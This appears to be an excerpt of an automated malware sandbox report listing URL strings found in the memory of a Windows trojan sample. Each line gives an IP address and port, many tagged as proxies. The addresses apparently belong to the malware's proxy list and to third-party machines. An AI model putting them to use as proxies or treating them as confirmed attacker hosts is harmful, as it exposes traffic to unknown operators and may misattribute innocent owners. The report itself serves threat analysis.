Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.243.205.1:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.243.205.1:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C917D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C914D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.243.253.113:61507
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C914D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.243.253.113:61507://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.250.46.217
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.250.46.217://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.250.46.217:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.254.198.237:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.254.198.237:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.49.228.234
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.49.228.234://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.49.228.234:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.56.110.204:8989
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.56.110.204:8989://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.74.152.29:8888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.74.152.29:8888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.74.226.8:5001
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.74.226.8:5001://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.74.226.8:5001P
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.88.3.19:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.88.3.19:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCE5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.89.184.18:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.89.184.18:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.90.126.78:8118
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.90.126.78:8118://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.91.104.88:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.91.104.88:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.91.65.23:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.91.65.23:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.93.52.36:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.93.52.36:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.0.2.243:5430
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.0.2.243:5430://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CEC000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.13.116.170:31602
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.13.116.170:31602://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.145.243.247:8082
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.145.243.247:8082://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.151.104.49:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.151.104.49:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.151.104.49:8080HJ
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.156.41.179:21
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.156.41.179:21://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.228.131.169:5000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.228.131.169:5000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.48.68.63:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.48.68.63:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.48.89.119:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.48.89.119:8080://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.51.93.222:443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.51.93.222:443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.51.94.12:443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.51.94.12:443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.7.11.187
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.7.11.187://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://49.7.11.187:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.104.174.199:23500
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.104.174.199:23500://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.104.87.169:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.104.87.169:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.104.87.169:3128x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.133.16.171:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.133.16.171:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.135.136.60:9090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.135.136.60:9090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.141.81.209:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.141.81.209:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.100.145:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.100.145:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.103.41:88
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.103.41:88://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.179.239:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.179.239:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.219.13:4228
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.219.13:4228://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAF0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.219.250:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.219.250:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.98.204:11232
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.98.204:11232://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.98.204:22019
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.98.204:22019://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.98.204:2662
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.98.204:2662://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA533000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.98.204:3240
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA533000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.98.204:3240://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAC33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.98.204:37901
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.98.204:37901://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.98.204:53935
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.98.204:53935://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.98.204:58199
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.161.98.204:58199://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C823C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C81FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.165.2.223:3629
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C81F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.165.2.223:3629://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.180.19.209:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.180.19.209:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.183.179.117:45698
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.183.179.117:45698://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.189.146.57
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.189.146.57://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.189.146.57:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.189.184.6
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.189.184.6://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.189.184.6:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.2.76.163:17000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.2.76.163:17000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.201.140.196:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.201.140.196:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCB1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.202.104.22:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.202.104.22:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.202.120.214:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.202.120.214:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.252.23.206:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.252.23.206:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.252.23.206:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.252.23.206:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.252.23.220:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.252.23.220:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.252.23.220:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.252.23.220:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6C98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.252.23.249:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6C98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.252.23.249:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.252.23.249:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.252.23.249:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FC8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.42.74.179:36457
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.42.74.179:36457://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.42.78.239:15758
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.42.78.239:15758://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.42.78.239:31862
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.42.78.239:31862://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.42.78.239:32092
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.42.78.239:32092://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.42.78.239:32092x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.42.81.57:14021
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8285000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.42.81.57:14021://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7652000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.42.81.57:30829
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7652000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.42.81.57:30829://proxy
